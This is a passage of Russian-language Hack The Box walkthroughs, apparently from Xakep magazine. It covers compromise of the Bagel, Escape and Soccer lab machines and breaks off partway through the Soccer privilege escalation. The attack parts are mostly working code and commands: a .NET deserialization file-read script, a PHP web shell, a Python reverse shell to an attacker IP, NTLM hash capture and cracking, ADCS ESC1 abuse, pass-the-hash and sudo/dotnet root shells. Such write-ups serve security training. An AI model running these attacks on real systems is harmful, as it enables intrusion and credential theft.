Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
20.93 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ ДЕСЕРИАЛИЗАЦИЮ JSON В .NET

ТОЧКА ОПОРЫ

Мы можем использовать­ уязвимость­ десериали­ зации­ и в качестве­ параметра­ предос­ тавить­ сериали­ зован­ ный­ объект­ , что приведе­ т к его выполнению­ . Так, в программе­ есть класс File, который содержи­ т функци­ ю ReadFile, чита ­

ющую файл order.txt в каталоге­ /opt/bagel/orders/.

Исходный­ код класса­ File

Исходный­ код класса­ File (продол­ жение­ )

Будем­ использовать­ функци­ ю ReadFile для чтения­ произволь­ ­ных файлов­ с помощью следующей­ нагрузки­ .

{

"RemoveOrder": {

"$type": "bagel_server.File, bagel",

"ReadFile": "../../../../../../etc/passwd"

}

}

В атрибуте­ $type указыва­ ем­ тип объекта­ bagel_server.File, bagel, а в атрибуте­ ReadFile — путь к читаемо­ му­ файлу­ . Для работы коннекта­

с веб сокетом напишем простой­ код на Python.

import asyncio

import json

import sys

from websockets import connect

async def hello(uri):

async with connect(uri) as websocket:

order = {"RemoveOrder": {"$type": "bagel_server.File, bagel",

"ReadFile": "../../../../../.." + sys.argv[1]}}

data = str(json.dumps(order))

await websocket.send(data)

resp = await websocket.recv()

print(json.loads(resp)["RemoveOrder"]["ReadFile"])

asyncio.run(hello("ws://bagel.htb:5000/"))

Содер­ ­жимое файла­ /etc/passwd

Так как приложе­ ­ние может работать от имени­ другого­ пользовате­ ­ля (не wwwdata), пробуем­ прочитать­ приват­ ­ный SSH-ключ ~/.ssh/id_rsa и получаем­ его.

Приват­ ­ный SSH-ключ пользовате­ ­ля phil

Копиру­ ­ем ключ, назнача­ ­ем необходимые­ права­ командой­ chmod 0600 id_rsa и подклю­ ­чаем­ся к хосту­ .

Флаг пользовате­ ля­

ПРОДВИЖЕНИЕ

Вспомина­ ем­ , что у нас есть пароль для подклю­ чения­ к базе данных­ , который мы узнали­ раньше­ . Попробу­ ем­ использовать­ его для авториза­ ции­ от имени­ пользовате­ ля­ developer локально­ . Пароль подошел, и мы получили­ новую сессию­ .

Сессия­ пользовате­ ля­ developer

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Одн­ о из первых­ мест, которые нужно­ проверить­ при повышении­ привиле­ ­ гий, — это настрой­ ­ки sudoers. Получить их можно­ командой­ sudo -l.

Настрой­ ки­ sudoers

Так мы узнаем­ , что можем выполнить­ команду­ /usr/bin/dotnet от имени­ пользовате­ ля­ root без ввода­ пароля. В таких случаях­ первым­ делом я про ­ веряю базу GTFOBins: нет ли там готовых трюков­ для нужного­ приложе­ ния­ ? Способ­ эксплу­ ата­ ции­ программы­ dotnet под sudo нашелся­ .

GTFOBins — это подборка­ способов­ злоупот­ ребле­ ния­ функци­ ями­ рас ­ пространен­ ных­ программ­ для Unix. Используя­ эти рецепты­ , можно­ быстро­ получить доступ­ к командным­ оболоч­ кам­ , повысить привиле­ гии­ или передать файлы­ .

Техника­ эксплу­ ата­ ции­ dotnet под sudo

Значит­ , мы можем открыть dotnet в интерак­ тивном­ режиме и запустить­ файл командной­ оболоч­ ки­ , что даст нам шелл в привиле­ гиро­ ван­ ном­ контек­ сте­ .

sudo /usr/bin/dotnet fsi

System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;

Флаг рута

У нас есть флаг рута, а значит­ , машина захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ ТИПИЧНЫЕ УЯЗВИМОСТИ ACTIVE DIRECTORY

В этом райтапе­ я на примерах­ покажу, как применять­ простей­ шие­ техники­ для зах ­ вата домена: аноним­ ный­ логин на SMBресурсе­ , эксфильтра­ цию­ NTLM-хеша из MS SQL и повышение­ привиле­ гий­ ESC1 через службу­ сертифика­ ции­ Active Directory.

RalfHacker hackerralf8@gmail.com

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.202 escape.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляе­ т атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ е­ т в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ та­ т работы скрипта­

В результатах­ сканиро­ вания­ видим множес­ тво­ открытых­ портов­ , что типично­ для серверов­ Windows:

53 — служба­ DNS;

135 — служба­ удален­ ­ного вызова процедур­ (Microsoft RPC). Использует­ ­ся для операций­ взаимо­ ­дей­ствия контрол­ ­лер — контрол­ ­лер и контрол­ ­лер — клиент­ ;

139 — служба­ сеансов­ NetBIOS, NetLogon;

389 — служба­ LDAP;

445 — служба­ SMB;

464 — служба­ смены­ пароля Kerberos;

593 (HTTP-RPC-EPMAP) — использует­ ­ся в службах­ DCOM и MS Exchange;

636 — LDAP с шифровани­ ­ем SSL или TLS;

5985 — служба­ удален­ ­ного управления­ WinRM;

9389 — веб службы­ AD DS.

RDP и LDAP раскры­ ­вают нам имя домена и компьюте­ ­ра. Добавим их в /etc/ hosts.

10.10.11.202 escape.htb sequel.htb dc.sequel.htb

ТОЧКА ВХОДА

Первым­ делом пробуем­ авториза­ ­цию от имени­ гостя­ на разных­ службах­ , начиная с SMB. Для тестирова­ ­ния SMB лучше­ всего­ использовать­ программу­ CrackMapExec, для которой уже успели­ написать множес­ ­тво дополнитель­ ­

ных модулей.

cme smb 10.10.11.202 -u 'guest' -p '' --shares

Общие­ ресурсы­ SMB

Каталог­ Public — нестандар­ ­тный, поэтому­ нас интересу­ ­ет его содержимое­ . Для работы с SMB-ресурсом­ будем использовать­ скрипт impacketsmbclient из набора скриптов­ impacket.

impacket-smbclient 'guest@10.10.11.202'

use Public

Содер­ жимое­ общег­ о ресурса­ Public

Ресурс­ содержи­ т документ PDF, который можно­ скачать­ такой командой­ :

get SQL Server Procedures.pdf

Файл будет сохранен­ в текущем каталоге­ . Просматри­ ваем­ файл и находим учетные­ данные­ для подклю­ чения­ к службе­ MS SQL.

Содер­ жимое­ скачан­ ного­ PDF-документа­

ТОЧКА ОПОРЫ

В списке­ открытых­ портов­ отсутству­ ­ет порт 1433, на котором по умолчанию­ работае­ т служба­ MS SQL Server, но, несмотря­ на это, все равно­ попробу­ ­ем подклю­ ­чить­ся к службе­ с помощью скрипта­ impacket-mssqlclient, тоже из impacket.

impacket-mssqlclient WORKGROUP/PublicUser:GuestUserCantWrite1@10.10.

11.202

Подклю­ чить­ ся­ к службе­ удалось­ , поэтому­ пробуем­ увести­ хеш пароля поль ­ зователя­ , от имени­ которого­ и работае­ т служба­ . Запускаем­ на локальном­ хосте­ утилиту­ responder, которая поможет нам получить хеш.

sudo responder -I tun0 -v

А теперь обращаем­ ­ся к ресурсу­ из SQL с помощью команды­ xp_dirtree.

xp_dirtree '\\10.10.14.125\test'

Запрос­ на сервер­ из SQL

Получен­ ный­ NetNTLMv2-хеш

Получа­ ­ем NetNTLMv2-хеш пароля пользовате­ ­ля sql_svc. Этот тип хеша перебирает­ ­ся очень быстро­ . Брутить­ будем при помощи hashcat, указав­ режим перебора­ 5600.

hashcat -m 5600 -a 0 hashes.txt rockyou.txt

Резуль­ та­ т перебора­ пароля

Получен­ ный­ пароль проверя­ ем­ с помощью CrackMapExec. Пробуем­ авто ­ ризовать­ ся­ для использования­ службы­ WinRM.

cme winrm 10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie'

Провер­ ка­ учетных­ данных­

А теперь подклю­ чаем­ ся­ к службе­ WinRM с помощью утилиты­ evil-winrm.

evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

Сессия­ пользовате­ ля­ sql_svc

ПРОДВИЖЕНИЕ

 

 

 

 

 

 

 

 

Теперь­

нам необходимо­

собрать­

информацию­ . Обычно­ я использую­ для это ­

го скрипты­ PEASS, и

если в Linux альтер­ натив­

им

не существу­ ет­ , то

для Windows есть еще SharpUp и Seatbelt. Второй­

помог найти­ сервер­

 

 

 

 

 

 

 

службы­

сертифика­

ции­ Active Directory (ADCS) — sequal-DC-CA.

.\Seatbelt.exe -group=system

Информа­ ция­ о сертифика­ тах­

Также­ на диске­ C: находим каталог SQLServer, а в нем — логи службы­ .

Содер­ жимое­ каталога­ SQLServer

В самом логе есть сообщения­ об ошибке­ авториза­ ции­ пользовате­ ля­ Ryan. Cooper, а также­ пользовате­ ля­ NuclearMosquito3. Второе­ имя пользовате­ ля­ похоже на введен­ ный­ по ошибке­ пароль. Распростра­ нен­ ная­ ошибка­ , которой мы сможем­ восполь­ зовать­ ся­ .

Содер­ жимое­ файла­ ERRORLOG.BAK

Проверим­ , входи­ т ли найден­ ­ный пользователь­ в группу­ Remote Management Users. Членств­ о в ней дает пользовате­ ­лям право­ авториза­ ­ции на службе­

WinRM.

net localgroup "Remote Management Users"

Члены­ группы­ Remote Management Users

Так мы можем залогинить­ ­ся на WinRM, что дает нам интерак­ ­тивную сессию­ пользовате­ ­ля.

evil-winrm -i 10.10.11.202 -u 'Ryan.Cooper' -p 'NuclearMosquito3'

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь­ вернемся­ к службе­ сертифика­ ­ции Active Directory, которая часто­ может помочь захватить­ целый домен. В основном способы­ эксплу­ ­ата­ции ADCS завязаны­ на неправиль­ ­но сконфигури­ ­рован­ные шаблоны­ сертифика­ ­ тов, а также­ на права­ доступа­ к этим шаблонам­ и самой службе­ .

Получить­ информацию­ о службе­ сертифика­ ции­ позволя­ е­ т программа­ Certify. Запускаем­ ее с командой­ find.

.\Certify.exe find /vulnerable

Информа­ ция­ о службе­ ADCS и уязвимый­ шаблон­ сертифика­ та­

Certify нашла­ «уязвимый­ шаблон­ сертифика­ та­ » и оказалась­ права­ . Каждая­ техника­ имее­ т свою маркиров­ ку­ , и в данном­ случае­ мы можем использовать­ технику­ ESC1. Этому­ способс­ тву­ е­ т выполнение­ следующих­ требова­ ний­ :

1.У шаблона­ сертифика­ ­та в свойстве­ msPKI-Certificate-Name-Flag установ­ ­лен флаг ENROLLEE_SUPPLIES_SUBJECT, в результате­ чего зап ­ рашивающий­ может сам установить­ атрибу­ т SAN (subjectAltName).

2.Сертифика­ т можн­ о использовать­ для аутентифика­ ­ции клиента­ (client

authentication).

3. Текущий­ пользователь­ имее­ т права­ для регистра­ ­ции сертифика­ та­ без утвержде­ ния­ менеджера­ ADCS.

Таким­ образом­ , эта техника­ основана­ на возможнос­ ­ти изменения­ SAN сер ­ тификата­ и позволя­ ­ет выпустить­ сертифика­ т для любого пользовате­ ­ля домена, включая­ админис­ ­тра­тора домена! Это тоже можно­ сделать­

с помощью Certify.

.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:

UserAuthentication /altname:Administrator

Выпуск­ сертифика­ та­ для пользовате­ ля­ Administrator

И мы получаем­ сертифика­ т и приват­ ный­ ключ, который можно­ использовать­ для аутентифика­ ции­ пользовате­ ля­ в домене. Но сначала­ нужно­ перевести­ сертифика­ т из формата­ PEM в форма­ т PFX.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced

Cryptographic Provider v1.0" -export -out cert.pfx

А теперь с помощью еще одного­ незаменимо­ ­го инстру­ ­мен­та — Rubeus

проведем­ атаку­ pass the cert для аутентифика­ ­ции в домене и получения­ тикета пользовате­ ­ля Administrator. Затем выполним­ атаку­ UnPAC the hash, чтобы­ получить тикет пользовате­ ­ля и NTLM-хеш его пароля. Rubeus позволя­ ­ ет сделать­ все это одной командой­ .

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /

password:123 /getcredentials

Выпол­ нение­ атак pass the cert и UnPAC the hash

А теперь с помощью pass the hash подклю­ чаем­ ся­ к службе­ WinRM и забираем­ флаг рута.

evil-winrm -i 10.10.11.202 -u 'Administrator' -H

'A52F78E4C751E5F5E17E1E9F3E58F4EE'

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПОВЫШАЕМ ПРИВИЛЕГИИ

В LINUX ЧЕРЕЗ СВОЙ ПЛАГИН ДЛЯ

DOAS

В этом райтапе­ я покажу, как написать вре ­ доносный­ плагин­ для doas — замены sudo, которая считает­ ся­ более безопасной­ . Но прежде­ , чем будем захватывать­ сис ­ тему, мы проник­ нем­ в нее благода­ ря­ RCE в Tiny File Manager, а затем напишем свой плагин­ для sqlmap, чтобы­ повысить при ­ вилегии­ .

RalfHacker hackerralf8@gmail.com

Полиго­ ном­ для всех этих упражнений­ нам послужи­ т трениро­ воч­ ная­ машина Soccer с площад­ ки­ Hack The Box. Уровень­ ее сложности­ отмечен­ как легкий­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.194 soccer.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляе­ т атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ е­ т в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ та­ т работы скрипта­

Сканер­ обнаружи­ л три открытых­ порта­ :

22 — служба­ OpenSSH 8.2p1;

80 — веб сервер­ Nginx 1.18.0;

9091 — неизвес­ тный­ веб сервер­ .

Порт 9091 пока загадочен­ для нас, SSH, как всегда­ , оставляем­ до момента­ , когда­ мы завладе­ ем­ учетной­ записью, поэтому­ остается­ только­ изучать­ сайт, расположен­ ный­ на порте­ 80.

Главная­ страница­ сайта­ soccer.htb

Нас встречае­ т сайт визитка­ . Посколь­ ку­ никаких интерес­ ных­ функций­ у него нет, перейдем­ к активному­ сканиро­ вани­ ю и попытаемся­ выявить скрытые­ файлы­ и каталоги­ .

ТОЧКА ВХОДА

Первым­ делом сканиру­ ­ем скрытые­ каталоги­ на веб сервере­ с помощью feroxbuster.

Одн­ о из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ­ ния — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информаци­ ю и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch, DIRB или fuf. Я предпочитаю­ feroxbuster.

При запуске­ указыва­ ем­ следующие­ параметры­ :

-u — URL;

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количеств­ о потоков;

-d — глубина­ сканиро­ вания­ .

feroxbuster -u http://soccer.htb/ -w directory_2.3_medium_lowercase.

txt -t 256

Резуль­ та­ т сканиро­ вания­ каталогов­

На странице­ /tiny нас встречае­ т страница­ авториза­ ции­ Tiny File Manager.

Страница­ авториза­ ции­ Tiny File Manager

На вики странице­ Security and User Management находим учетные­ данные­ , выставля­ емые­ по умолчанию­ :

admin : admin@123

user : 12345

Учетные­ данные­ по умолчани­ ю для Tiny File Manager

Повез­ ­ло! Авторизу­ ­емся с учетной­ записью admin и получаем­ доступ­ к фай ­ ловому менеджеру­ .

Главная­ страница­ файлового­ менеджера­

Мы раздобыли­ какие то файлы­ , но нам нужны­ не они, а доступ­ к системе­ . Попробу­ ­ем поискать­ готовые экспло­ ­иты для Tiny File Manager, благо­ версия­ указана­ — 2.4.3.

Первая­ же ссылка­ в Google сообщае­ т нам о том, что есть RCE через заг ­ рузку файла­ .

Поиск­ экспло­ итов­ в Google

ТОЧКА ОПОРЫ

Сканиро­ вание­ каталогов­ показало­ , что существу­ е­ т каталог uploads. Заг ­ рузим туда самый простой­ веб шелл.

<?php system($_GET['cmd'])?>

Загрузка­ файла­

Листинг­ директории­ /uploads

Файл загружен­ , поэтому­ можем проверить­ его работу, выполнив­ команду­ id.

curl 'http://soccer.htb/tiny/uploads/shell.php?cmd=id'

Резуль­ та­ т выполнения­ команды­ id

Теперь­ запустим­ реверс шелл на Python 3.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.

AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.78",4321));os.dup2(

s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import

pty;pty.spawn("sh")'

Обратный­ шелл — это подклю­ чение­ , которое активиру­ е­ т атакуемая­ машина, а мы принима­ ем­ и таким образом­ подклю­ чаем­ ся­ к ней, чтобы­ выполнять­ команды­ от лица пользовате­ ля­ , запустивше­ го­ шелл. Для приема­ соединения­ необходим­ о создать­ на локальной­ машине listener, то есть «слушатель­ ».

Его подклю­ чение­ будем ловить на листенер­ :

pwncat-cs -lp 4321

Получе­ ние­ новой сессии­

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПОВЫШАЕМ ПРИВИЛЕГИИ В LINUX ЧЕРЕЗ СВОЙ ПЛАГИН ДЛЯ DOAS

ПРОДВИЖЕНИЕ

Теперь­ нам необходимо­ собрать­ информацию­ . Для этого­ восполь­ зуем­ ся­

PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль ­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информаци­ ю и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ю­ т сис ­

тему на автомате­ и выдают­ подробный­ отчет о потенциаль­ но­ интерес­ ных­ файлах­ , процес­ сах­ и настрой­ ках­ .

Загрузим­ на хост скрипт для Linux, дадим право­ на выполнение­ и запустим­ сканиро­ вание­ . В выводе будет много­ информации­ , поэтому­ отберем­ только­ значимую­ .

Из файла­ /etc/hosts узнаем­ о еще одном поддомене­ — soc-player. soccer.htb.

Информа­ ция­ о сети

Среди­ открытых­ портов­ отмечаем­ порт 3306, на котором работае­ т служба­ mysql.

Откры­ тые­ порты­

Флаг находится­ у пользовате­ ­ля player, поэтому­ продвигать­ ­ся нам нужно­ к нему.

Файлы­ в каталогах­ других­ пользовате­ лей­

Среди­ «неродных­ » файлов­ системы­ присутс­ тву­ е­ т doas.

Файлы­ , вероятн­ о добавленные­ пользовате­ лем­

Добав­ ­ляем новый найден­ ­ный поддомен­ в файл /etc/hosts своег­ о хоста­ и смотрим­ новый сайт.

10.10.11.194 soccer.htb soc-player.soccer.htb

Главная­ страница­ сайта­ soc-player.soccer.htb

После­ регистра­ ции­ и авториза­ ции­ нам открывает­ ся­ функция­ брониро­ вания­ билета на матч.

Форма­ брониро­ вания­ билета

Отмеча­ ­ем уже присвоен­ ­ный ID билета (над полем ввода­ ). После­ ввода­ этого­ ID получаем­ ответ, что билет существу­ ­ет. В Burp History запроса­

не находим, но зато появляют­ ­ся сообщения­ в истории­ веб сокетов, где мы и обнаружи­ ­ваем наш запрос­ и ответ.

Запрос­ билета

Запрос­ на сервер­

 

 

Отве­ т сервера­

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Так как на хосте­ работае­ т СУБД, проверя­

ем­

несколь­

кими­

нагрузка­

ми­

для SQL-инъекций­

параметр id, и одна из нагрузок­

дает результат­ .

 

{

"id":"-1 or 1=1 -- -"

}

Запрос­ с нагрузкой­

SQL injection

Чтобы­ автомати­ ­зиро­вать и ускорить­ эксфильтра­ ­цию данных­ из базы, можно­ использовать­ sqlmap. Для этог­ о нужн­ о будет написать прокси­ сервер­ , который будет принимать­ запросы­ HTTP и отправлять­ их на удален­ ­ный сервер­ через веб сокет. Откроем­ исходный код сайта­ и найдем­ URL, куда поступа­ ­ют запросы­ через веб сокеты.

Исходный­ код страницы­ /check

Теперь­ реализуем­ наш прокси­ сервер­ .

from http.server import SimpleHTTPRequestHandler

from socketserver import TCPServer

from urllib.parse import unquote, urlparse

from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):

ws = create_connection(ws_server)

message = unquote(payload).replace('"',''')

data = '{"id":"%s"}' % message

ws.send(data)

resp = ws.recv()

ws.close()

if resp:

return resp

else:

return ''

def middleware_server(host_port,content_type="text/plain"):

class CustomHandler(SimpleHTTPRequestHandler):

def do_GET(self) -> None:

self.send_response(200)

try:

payload = urlparse(self.path).query.split('=',1)[1]

except IndexError:

payload = False

if payload:

content = send_ws(payload)

else:

content = 'No parameters specified!'

self.send_header("Content-type", content_type)

self.end_headers()

self.wfile.write(content.encode())

return

class _TCPServer(TCPServer):

allow_reuse_address = True

httpd = _TCPServer(host_port, CustomHandler)

httpd.serve_forever()

print("[+] Starting MiddleWare Server")

print("[+] Send payloads in http://localhost:8081/?id=*")

try:

middleware_server(('0.0.0.0',8081))

except KeyboardInterrupt:

pass

Запуск­ прокси­ сервера­

Теперь­ запускаем­ sqlmap, указав­ адрес прокси­ сервера­ :

http://localhost:8081/?id=

И выбираем­ рабочую технику­ Boolean Based.

sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5

--risk 3

Определе­ ­ние нагрузки­ sqlmap

Sqlmap определи­ л рабочую нагрузку­ , теперь мы можем получить список­ баз данных­ (параметр --dbs).

sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5

--risk 3 --dbs

Сущес­ ­тву­ющие базы данных­

Нам интерес­ ­на база данных­ soccer_db, узнаем­ , какие таблицы­ она содержит­ (параметр --tables).

sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5

--risk 3 -D soccer_db --tables

В базе всег­ о одна таблица­ с говорящим­ названи­ ­ем accounts, получим из нее все данные­ (параметр --dump).

Таблицы­ в базе soccer_db

sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5

--risk 3 -D soccer_db -T accounts --dump

Данные­ таблицы­ accounts

Получен­ ный­ пароль можно­ использовать­ для авториза­ ции­ по SSH.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Ранее­ мы нашли­ doas, взглянем­ на его настрой­ ­ки:

cat /usr/local/etc/doas.conf

Содер­ жимое­ файла­ doas.conf

Эта строчка­ значит­ , что пользователь­ player без ввода­ пароля может от име ­ ни пользовате­ ля­ root запустить­ команду­ /usr/bin/dstat. Про dstat под ­ робно почитать можн­ о в докумен­ тации­ . Там же находим и информаци­ ю о пла ­ гинах dstat, которые старту­ ют при запуске­ самого dstat.

Плагин­ должен­ представ­ лять­ собой скрипт на Python dstat_*.py, рас ­ положенный­ в одном из следующих­ каталогов­ .

Катало­ ги­ для плагинов­ dstat

